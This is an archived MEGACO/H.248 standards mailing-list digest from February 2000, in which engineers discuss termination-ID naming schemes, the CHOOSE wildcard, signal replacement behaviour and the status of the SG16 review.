Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA26752
	for ; Thu, 10 Feb 2000 09:28:20 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A87CE2C0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 9:24:40 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37645 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 09:23:15 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.0FDC6D20@standards.nortelnetworks.com>; Thu, 10 Feb 2000 9:13:15
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA18367; Thu, 10 Feb
          2000 09:15:20 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA00931; Thu, 10 Feb
          2000 09:15:22 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTVMXN>; Thu, 10 Feb 2000 09:11:58 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208908@whq-msgusr-02.fore.com>
Date:         Thu, 10 Feb 2000 09:15:19 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Choosing of ephemeral / physical Termination.
X-To:         Singaraselvan Singaravelan
              
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> In the example  given, the termination Id look like
>           MyDS3/3/5  which follows the schema by MG
> TrunkGroup/Trunk/Circuit
>
> The fundamental question is, how does the MGC will understand
> this schema?
> For example if MGC wants to select all the circuits in MyDS3
> and Trunk 3, it
> would use the termination id MyDS3/3/* if MGC can understand
> the schema used by MG.
Look at either of the two most recent versions for the "Name Pattern"
properties in the root package.  This provides a way
for the MGC to discover the name scheme in the MG.  Alternatively,
this information can be provisioned in the MGC.

> In the event MGC doesn't know the schema used by MG, then
> schema TrunkGroup/Trunk/Circuit
> doesn't convey much information. Then, the Termination Id is
> mere a string and doesn't convey
> any message to MGC.
In some way or other, the MGC must know how to specifically
address each of the circuits in the MG.  It could only understand
a string name for an end circuit.  For some MGCs, that may be
sufficient.  The naming schema is usefull for:
        Allowing the MG to select a circuit using CHOOSE
        Allowing the MGC to do efficient Auditing, while
                controlling the amount of data sent from one audit
The later is what drove the "Name Pattern" properties mechanism.

Brian
> Please clarify with respect to the example.
>
> Thanks,
> Singar/..
>
>
>
> On Tue, 1 Feb 2000 10:59:53 +0100, Christian Groves
>  wrote:
>
> >G'Day Brian,
> >
> >Sounds like you're leading me somewhere ;-). In answer to
> your questions
> >I believe you could ask for what you've specified below.
> Whether that's
> >the best way to do it is another question.
> >
> >Cheers, Christian
> >
> >"Rosen, Brian" wrote:
> >>
> >> Just checking my assumptions:
> >>         For a physical termination, you want to be able to say:
> >>                 MyDS3/3/$
> >>        meaning, you choose any DS0 you want in the 3rd DS1
> of a DS3,
> >> assuming that
> >>          was how my MG named the DS0s (such a structure
> NOT being required).
> >> Could
> >>         I also ask for MyDS3/$/$?
> >>
> >>         For an ephemeral termination, suppose that I knew,
> by discovery or
> >>         provisioning that RTP bearers were named RTP/nnnn
> and ATM bearers
> >> were
> >>         named AAL1/nnnn/nn.  Can I Add=AAL1/0003/$, which
> means create an
> >>         ephemeral for an ATM AAL1 bearer, with the MG choosing the
> >> subchannel?
> >>
> >> Brian
> >>
> >> > -----Original Message-----
> >> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> >> > Sent: Monday, January 31, 2000 10:27 AM
> >> > To: MEGACO@standards.nortelnetworks.com
> >> > Subject: Re: Choosing of ephemeral / physical Termination.
> >> >
> >> >
> >> > Hello all,
> >> >
> >> > I believe that we have diverged from the first email in this
> >> > thread. We
> >> > do not need rules to determine what media and bearer is
> instantiated.
> >> >
> >> > For a physical termination a certain terminationID schema will be
> >> > assigned by the MG. ie. /myscheme/physical/trunk/circuit
> >> > If the MGC wanted to CHOOSE a physical termination it
> could either
> >> > wildcard 'trunk' or 'circuit'.
> >> >
> >> > For a emphemeral terminatoion a certain terminationID
> schema will be
> >> > assigned by the MG. The MGC by various means would be
> aware of this
> >> > scheme.
> >> > ie. /myscheme/euphemeral/IP
> >> > If the MGC wanted to CHOOSE a euphemeral termination it
> could wilcard
> >> > the 'IP'
> >> >
> >> > The 'physical' and 'ephemeral' could be anything in the the
> >> > MG assigned
> >> > scheme that would differentiate the two.
> >> >
> >> > If the MGC doesn't care which one then it CHOOSES on the
> >> > 'ephemeral'/'physical' level. The MG can determine which
> one to return
> >> > from ANY information in the media descriptors. This is
> >> > something for the
> >> > MG to decide, not something that needs to be specified in
> >> > rules in H248
> >> > because they'll probably change according to your
> >> > application, resource
> >> > allocation algorithms in the MG, etc. I do agree that an
> >> > error should be
> >> > returned if the MG cannot determine the terminationID.
> >> >
> >> > I think the scope of this is also limited to the ADD
> command. The ADD
> >> > will return a fully specified terminationID which can then be
> >> > referenced
> >> > in Move, Modify, Subtract etc.
> >> >
> >> > Regards, Christian
> >> >
> >> > Tom-PT Taylor wrote:
> >> > >
> >> > > Right, we haven't converged yet.  I have a suggestion which may
> >> > > resolve this, that we add these rules
> >> > >
> >> > > (1) If the MGC provides too little information in an
> Add command for
> >> > > the MG to select the bearer type for that termination,
> the MG must
> >> > > reject the command with [appropriate error].  In practice,
> >> > this means
> >> > > either that the terminationID in the command provides
> the necessary
> >> > > information, or else that at least one instance of a
> Local or Remote
> >> > > descriptor must be present, containing a c= line with
> a specified
> >> > > nettype (or the Annex C equivalent).
> >> > >
> >> > > (2) If the MGC provides too little information in an
> Add, Move, or
> >> > > Modify command for the MG to determine the medium to
> be carried in a
> >> > > given stream, the MG must reject the command with [appropriate
> >> > > error].  The MG has three ways to determine medium:
> >> > >
> >> > >  - streamID unspecified defaults to streamID=1 and medium=audio
> >> > >  - medium has already been specified for that streamID
> for another
> >> > > termination in the same context
> >> > >  - explicit specification of medium in an m= line (or
> the Annex C
> >> > > equivalent) in an instance of Local or Remote for the given
> >> > streamID.
> >> > >
> >> > >      -----Original Message-----
> >> > >      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
> >> > >      Sent:   Monday, January 31, 2000 9:15 AM
> >> > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> >> > >      Subject:        Re: Choosing of ephemeral / physical
> >> > Termination.
> >> > >
> >> > >      I believe we have not reached consensus on this
> issue, so I did
> >> > >      not
> >> > >      change the text.  Tom, is that your view?
> >> > >
> >> > >      Brian
> >> > >
> >> > >      > -----Original Message-----
> >> > >      > From: Sachin Mittal [mailto:samittal@hss.hns.com]
> >> > >      > Sent: Monday, January 31, 2000 2:52 AM
> >> > >      > To: MEGACO@standards.nortelnetworks.com
> >> > >      > Subject: Re: Choosing of ephemeral / physical
> Termination.
> >> > >      >
> >> > >      >
> >> > >      > The point that "$" is for choosing ephemeral is
> not yet added
> >> > >      > in V14. Is it that
> >> > >      > the discussion
> >> > >      > is not yet complete? What about foo$ representing choose
> >> > >      physical.
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      > Sachin Mittal  on 01/27/2000
> 11:35:50 AM
> >> > >      >
> >> > >      > Please respond to samittal@hns.com
> >> > >      >
> >> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> >> > >      > cc:    (bcc: Sachin Mittal/HSS)
> >> > >      >
> >> > >      > Subject:  Re: Choosing of ephemeral / physical
> Termination.
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      > Its true that the type of termination should not be
> >> > >      > identified by looking into
> >> > >      > the descriptor
> >> > >      > information. Somewhere in the text this should
> be added that
> >> > >      > " $ if it appears
> >> > >      > alone indicates
> >> > >      > ephemeral termination and partial $ (ex foo$) indicates
> >> > >      > selection of a physical
> >> > >      > termination
> >> > >      > (a circuit within a trunk group)".
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      > "Rosen, Brian"  on 01/27/2000
> 02:36:46 AM
> >> > >      >
> >> > >      > Please respond to "Rosen, Brian" 
> >> > >      >
> >> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> >> > >      > cc:    (bcc: Sachin Mittal/HSS)
> >> > >      >
> >> > >      > Subject:  Re: Choosing of ephemeral / physical
> Termination.
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      >
> >> > >      > Generally determined by the "kind" of
> termination requested.
> >> > >      > Which is in turn, easily discernable from the
> Media command.
> >> > >      >
> >> > >      > However, upon reflection, I think it's not a
> good answer.
> >> > >      > I'd propose that we not allow selection of a physical
> >> > >      termination,
> >> > >      > in which case choose is always create an ephemeral.  In
> >> > >      particular,
> >> > >      > the following is perfectly legal:
> >> > >      > Context=${Add=${}}
> >> > >      > What do you get?
> >> > >      >
> >> > >      > Brian
> >> > >      >
> >> > >      > > -----Original Message-----
> >> > >      > > From: Sachin Mittal [mailto:samittal@hss.hns.com]
> >> > >      > > Sent: Tuesday, January 25, 2000 9:01 AM
> >> > >      > > To: MEGACO@standards.nortelnetworks.com
> >> > >      > > Subject: Choosing of ephemeral / physical Termination.
> >> > >      > >
> >> > >      > >
> >> > >      > > Annex B.1 says that "The CHOOSE TerminationID
> $ may be used
> >> > >      > > to signal to the MG
> >> > >      > > that it has to create an
> >> > >      > > ephemeral Termination or select an idle physical
> >> > >      Termination".
> >> > >      > > How can MG determine when to create an ephemeral
> >> > termination
> >> > >      > > and when to choose
> >> > >      > > idle physical termination.??
> >> > >      > > What is the logic behind this decision making?
> >> > >      > >
> >> > >      > > regards
> >> > >      > > -Sachin Mittal
> >> > >      > >
> >> > >      >
> >> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 11:59:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03961
	for ; Thu, 10 Feb 2000 11:59:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AF1D00F0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 11:55:11 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38012 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 11:53:32 -0500
Received: from jefferson.patriot.net by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.0E4804F0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 11:43:32
          -0500
Received: from ntti (pool180-92.patriot.net [209.249.180.92]) by
          jefferson.patriot.net (8.8.7/8.8.7) with SMTP id LAA09587 for
          ; Thu, 10 Feb 2000 11:46:01 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_0012_01BF73BD.CB563160"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Message-ID:  <001501bf73e7$b504e620$5cb4f9d1@ntti>
Date:         Thu, 10 Feb 2000 11:55:58 -0500
Reply-To: Tanweer Butt 
Sender: "Media Gateway Control (megaco)"
              
From: Tanweer Butt 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_0012_01BF73BD.CB563160
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

megaco

------=_NextPart_000_0012_01BF73BD.CB563160
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









megaco


------=_NextPart_000_0012_01BF73BD.CB563160--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 13:34:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07003
	for ; Thu, 10 Feb 2000 13:34:14 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0FE00C40@standards.nortelnetworks.com>; Thu, 10 Feb 2000 13:30:57 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38489 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 13:30:39 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.9FB456C0@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          13:20:39 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA09691; Thu, 10 Feb 2000 19:23:05 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA24170;
          Thu, 10 Feb 2000 19:23:05 +0100
Received: from ericsson.com ([146.11.7.133]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA11866; Thu, 10 Feb 2000
          19:22:47 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF208908@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A301F9.3CC33806@ericsson.com>
Date:         Thu, 10 Feb 2000 19:22:49 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Choosing of ephemeral / physical Termination.
X-To:         John Segers ,
              Brian Rosen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello all,

The addition of the "Naming pattern" in the Package was a mistake by the
 Editor (TD-33). It was highlighted in the word document for removal.
It should be removed as per TD-32 which was input to the ITU SG16
meeting.
It needs further CS2 development.

Cheers, Christian

"Rosen, Brian" wrote:
>
> > In the example  given, the termination Id look like
> >           MyDS3/3/5  which follows the schema by MG
> > TrunkGroup/Trunk/Circuit
> >
> > The fundamental question is, how does the MGC will understand
> > this schema?
> > For example if MGC wants to select all the circuits in MyDS3
> > and Trunk 3, it
> > would use the termination id MyDS3/3/* if MGC can understand
> > the schema used by MG.
> Look at either of the two most recent versions for the "Name Pattern"
> properties in the root package.  This provides a way
> for the MGC to discover the name scheme in the MG.  Alternatively,
> this information can be provisioned in the MGC.
>
> > In the event MGC doesn't know the schema used by MG, then
> > schema TrunkGroup/Trunk/Circuit
> > doesn't convey much information. Then, the Termination Id is
> > mere a string and doesn't convey
> > any message to MGC.
> In some way or other, the MGC must know how to specifically
> address each of the circuits in the MG.  It could only understand
> a string name for an end circuit.  For some MGCs, that may be
> sufficient.  The naming schema is usefull for:
>         Allowing the MG to select a circuit using CHOOSE
>         Allowing the MGC to do efficient Auditing, while
>                 controlling the amount of data sent from one audit
> The later is what drove the "Name Pattern" properties mechanism.
>
> Brian
> > Please clarify with respect to the example.
> >
> > Thanks,
> > Singar/..
> >
> >
> >
> > On Tue, 1 Feb 2000 10:59:53 +0100, Christian Groves
> >  wrote:
> >
> > >G'Day Brian,
> > >
> > >Sounds like you're leading me somewhere ;-). In answer to
> > your questions
> > >I believe you could ask for what you've specified below.
> > Whether that's
> > >the best way to do it is another question.
> > >
> > >Cheers, Christian
> > >
> > >"Rosen, Brian" wrote:
> > >>
> > >> Just checking my assumptions:
> > >>         For a physical termination, you want to be able to say:
> > >>                 MyDS3/3/$
> > >>        meaning, you choose any DS0 you want in the 3rd DS1
> > of a DS3,
> > >> assuming that
> > >>          was how my MG named the DS0s (such a structure
> > NOT being required).
> > >> Could
> > >>         I also ask for MyDS3/$/$?
> > >>
> > >>         For an ephemeral termination, suppose that I knew,
> > by discovery or
> > >>         provisioning that RTP bearers were named RTP/nnnn
> > and ATM bearers
> > >> were
> > >>         named AAL1/nnnn/nn.  Can I Add=AAL1/0003/$, which
> > means create an
> > >>         ephemeral for an ATM AAL1 bearer, with the MG choosing the
> > >> subchannel?
> > >>
> > >> Brian
> > >>
> > >> > -----Original Message-----
> > >> > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > >> > Sent: Monday, January 31, 2000 10:27 AM
> > >> > To: MEGACO@standards.nortelnetworks.com
> > >> > Subject: Re: Choosing of ephemeral / physical Termination.
> > >> >
> > >> >
> > >> > Hello all,
> > >> >
> > >> > I believe that we have diverged from the first email in this
> > >> > thread. We
> > >> > do not need rules to determine what media and bearer is
> > instantiated.
> > >> >
> > >> > For a physical termination a certain terminationID schema will be
> > >> > assigned by the MG. ie. /myscheme/physical/trunk/circuit
> > >> > If the MGC wanted to CHOOSE a physical termination it
> > could either
> > >> > wildcard 'trunk' or 'circuit'.
> > >> >
> > >> > For a emphemeral terminatoion a certain terminationID
> > schema will be
> > >> > assigned by the MG. The MGC by various means would be
> > aware of this
> > >> > scheme.
> > >> > ie. /myscheme/euphemeral/IP
> > >> > If the MGC wanted to CHOOSE a euphemeral termination it
> > could wilcard
> > >> > the 'IP'
> > >> >
> > >> > The 'physical' and 'ephemeral' could be anything in the the
> > >> > MG assigned
> > >> > scheme that would differentiate the two.
> > >> >
> > >> > If the MGC doesn't care which one then it CHOOSES on the
> > >> > 'ephemeral'/'physical' level. The MG can determine which
> > one to return
> > >> > from ANY information in the media descriptors. This is
> > >> > something for the
> > >> > MG to decide, not something that needs to be specified in
> > >> > rules in H248
> > >> > because they'll probably change according to your
> > >> > application, resource
> > >> > allocation algorithms in the MG, etc. I do agree that an
> > >> > error should be
> > >> > returned if the MG cannot determine the terminationID.
> > >> >
> > >> > I think the scope of this is also limited to the ADD
> > command. The ADD
> > >> > will return a fully specified terminationID which can then be
> > >> > referenced
> > >> > in Move, Modify, Subtract etc.
> > >> >
> > >> > Regards, Christian
> > >> >
> > >> > Tom-PT Taylor wrote:
> > >> > >
> > >> > > Right, we haven't converged yet.  I have a suggestion which may
> > >> > > resolve this, that we add these rules
> > >> > >
> > >> > > (1) If the MGC provides too little information in an
> > Add command for
> > >> > > the MG to select the bearer type for that termination,
> > the MG must
> > >> > > reject the command with [appropriate error].  In practice,
> > >> > this means
> > >> > > either that the terminationID in the command provides
> > the necessary
> > >> > > information, or else that at least one instance of a
> > Local or Remote
> > >> > > descriptor must be present, containing a c= line with
> > a specified
> > >> > > nettype (or the Annex C equivalent).
> > >> > >
> > >> > > (2) If the MGC provides too little information in an
> > Add, Move, or
> > >> > > Modify command for the MG to determine the medium to
> > be carried in a
> > >> > > given stream, the MG must reject the command with [appropriate
> > >> > > error].  The MG has three ways to determine medium:
> > >> > >
> > >> > >  - streamID unspecified defaults to streamID=1 and medium=audio
> > >> > >  - medium has already been specified for that streamID
> > for another
> > >> > > termination in the same context
> > >> > >  - explicit specification of medium in an m= line (or
> > the Annex C
> > >> > > equivalent) in an instance of Local or Remote for the given
> > >> > streamID.
> > >> > >
> > >> > >      -----Original Message-----
> > >> > >      From:   Rosen, Brian [SMTP:brosen@FORE.COM]
> > >> > >      Sent:   Monday, January 31, 2000 9:15 AM
> > >> > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > >> > >      Subject:        Re: Choosing of ephemeral / physical
> > >> > Termination.
> > >> > >
> > >> > >      I believe we have not reached consensus on this
> > issue, so I did
> > >> > >      not
> > >> > >      change the text.  Tom, is that your view?
> > >> > >
> > >> > >      Brian
> > >> > >
> > >> > >      > -----Original Message-----
> > >> > >      > From: Sachin Mittal [mailto:samittal@hss.hns.com]
> > >> > >      > Sent: Monday, January 31, 2000 2:52 AM
> > >> > >      > To: MEGACO@standards.nortelnetworks.com
> > >> > >      > Subject: Re: Choosing of ephemeral / physical
> > Termination.
> > >> > >      >
> > >> > >      >
> > >> > >      > The point that "$" is for choosing ephemeral is
> > not yet added
> > >> > >      > in V14. Is it that
> > >> > >      > the discussion
> > >> > >      > is not yet complete? What about foo$ representing choose
> > >> > >      physical.
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      > Sachin Mittal  on 01/27/2000
> > 11:35:50 AM
> > >> > >      >
> > >> > >      > Please respond to samittal@hns.com
> > >> > >      >
> > >> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > >> > >      > cc:    (bcc: Sachin Mittal/HSS)
> > >> > >      >
> > >> > >      > Subject:  Re: Choosing of ephemeral / physical
> > Termination.
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      > Its true that the type of termination should not be
> > >> > >      > identified by looking into
> > >> > >      > the descriptor
> > >> > >      > information. Somewhere in the text this should
> > be added that
> > >> > >      > " $ if it appears
> > >> > >      > alone indicates
> > >> > >      > ephemeral termination and partial $ (ex foo$) indicates
> > >> > >      > selection of a physical
> > >> > >      > termination
> > >> > >      > (a circuit within a trunk group)".
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      > "Rosen, Brian"  on 01/27/2000
> > 02:36:46 AM
> > >> > >      >
> > >> > >      > Please respond to "Rosen, Brian" 
> > >> > >      >
> > >> > >      > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > >> > >      > cc:    (bcc: Sachin Mittal/HSS)
> > >> > >      >
> > >> > >      > Subject:  Re: Choosing of ephemeral / physical
> > Termination.
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      >
> > >> > >      > Generally determined by the "kind" of
> > termination requested.
> > >> > >      > Which is in turn, easily discernable from the
> > Media command.
> > >> > >      >
> > >> > >      > However, upon reflection, I think it's not a
> > good answer.
> > >> > >      > I'd propose that we not allow selection of a physical
> > >> > >      termination,
> > >> > >      > in which case choose is always create an ephemeral.  In
> > >> > >      particular,
> > >> > >      > the following is perfectly legal:
> > >> > >      > Context=${Add=${}}
> > >> > >      > What do you get?
> > >> > >      >
> > >> > >      > Brian
> > >> > >      >
> > >> > >      > > -----Original Message-----
> > >> > >      > > From: Sachin Mittal [mailto:samittal@hss.hns.com]
> > >> > >      > > Sent: Tuesday, January 25, 2000 9:01 AM
> > >> > >      > > To: MEGACO@standards.nortelnetworks.com
> > >> > >      > > Subject: Choosing of ephemeral / physical Termination.
> > >> > >      > >
> > >> > >      > >
> > >> > >      > > Annex B.1 says that "The CHOOSE TerminationID
> > $ may be used
> > >> > >      > > to signal to the MG
> > >> > >      > > that it has to create an
> > >> > >      > > ephemeral Termination or select an idle physical
> > >> > >      Termination".
> > >> > >      > > How can MG determine when to create an ephemeral
> > >> > termination
> > >> > >      > > and when to choose
> > >> > >      > > idle physical termination.??
> > >> > >      > > What is the logic behind this decision making?
> > >> > >      > >
> > >> > >      > > regards
> > >> > >      > > -Sachin Mittal
> > >> > >      > >
> > >> > >      >
> > >> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 13:36:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07068
	for ; Thu, 10 Feb 2000 13:36:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.57F0D6E0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 13:32:58 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38490 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 13:31:01 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.AC57A8F0@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          13:21:00 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA09772; Thu, 10 Feb 2000 19:23:28 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA24173;
          Thu, 10 Feb 2000 19:23:27 +0100
Received: from ericsson.com ([146.11.7.133]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA11870; Thu, 10 Feb 2000
          19:23:17 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
            <38A1B37D.60C50000@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A30216.134B17A3@ericsson.com>
Date:         Thu, 10 Feb 2000 19:23:18 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Flemming,

Why can't you define vmwi-on and wmwi-off property? This solves your
problem. These could be both signal type 'brief' (ie. once). vmwi-on
turns on your indicator. It stays on no matter what you do. You then
issue vmwi-off it turns the indicator off.

I think this solves your problem???

Cheers, Christian

Flemming Andreasen wrote:
>
> Christian Groves wrote:
>
> > To me it makes no sense to draw distinction between the types of signals
> > and replacement behaviour.
> >
> > With the following rules, what behaviour can't you handle?
> >
> > o You can explicitely define the replacement behaviour using the
> >   KEEPACTIVE flag. ie. If on, Signals are not stopped by events
>
> The problem here is, that KeepActive is an event parameter, not a signal parameter. Thus,
> let's say I send down an EventsDescriptor looking for off-hook, and a SignalsDescriptor
> applying ringing (TO), and vmwi (OO). I don't want my vmwi to be stopped by off-hook, but I
> do want ringing to be stopped. How do I do that with the KeepActive flag ?
>
> >
> > o Signals can be of a transition type "on->off" or something with
> >   duration "plays for x seconds". This does not have to be part of the
> >   protocol. Its a characteristic of the tone/message to be played.
>
> It sounds like we are in agreement, so I might be misunderstanding. The protocol defines
> certain basic characteristics of different types of signals. Specifically those types are
> BR, TO, and OO.
>
> >
> > o Using BR,TO,OO controls the number of times that it is "played"
>
> That doesn't achieve all of what we want.
>
> >
> >
> > Cheers, Christian
> >
>
> -- Flemming
>
> << stuff deleted >>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 14:14:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08077
	for ; Thu, 10 Feb 2000 14:14:11 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A9F68340@standards.nortelnetworks.com>; Thu, 10 Feb 2000 14:11:03 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 38585 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 14:09:04 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.63205B80@standards.nortelnetworks.com>; Thu, 10 Feb 2000 14:09:04
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          LAA10206; Thu, 10 Feb 2000 11:10:51 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000210032240.00bc3200@localhost>
Date:         Thu, 10 Feb 2000 03:27:45 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: H.248 Activity
X-To:         Fred Baker 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4.1.20000209093921.02117360@flipper.cisco.com>

FYI,
 From what I understand, the last call document,
draft-ietf-megaco-protocol-06.txt is
equivalent to the TD's (TD-33 plus TD-49)  brought into this meeting as
proposed replacement text for H.248.
We are attempting to do a line-by-line review of this now in SG16, but it
is slowgoing as you might guess.

The last call document does not include any comments made during the above
review or any changes due to company contributions into this meeting.

Theoretically, the output of this meeting could be fed back into the last
call comments.  it isn't clear what the end result of the SG16 meeting will
be in terms of approval.

BTW, the last call doesn't seem to have close date.


Chip

At 09:53 AM 2/9/00 -0800, Fred Baker wrote:
>Scott:
>
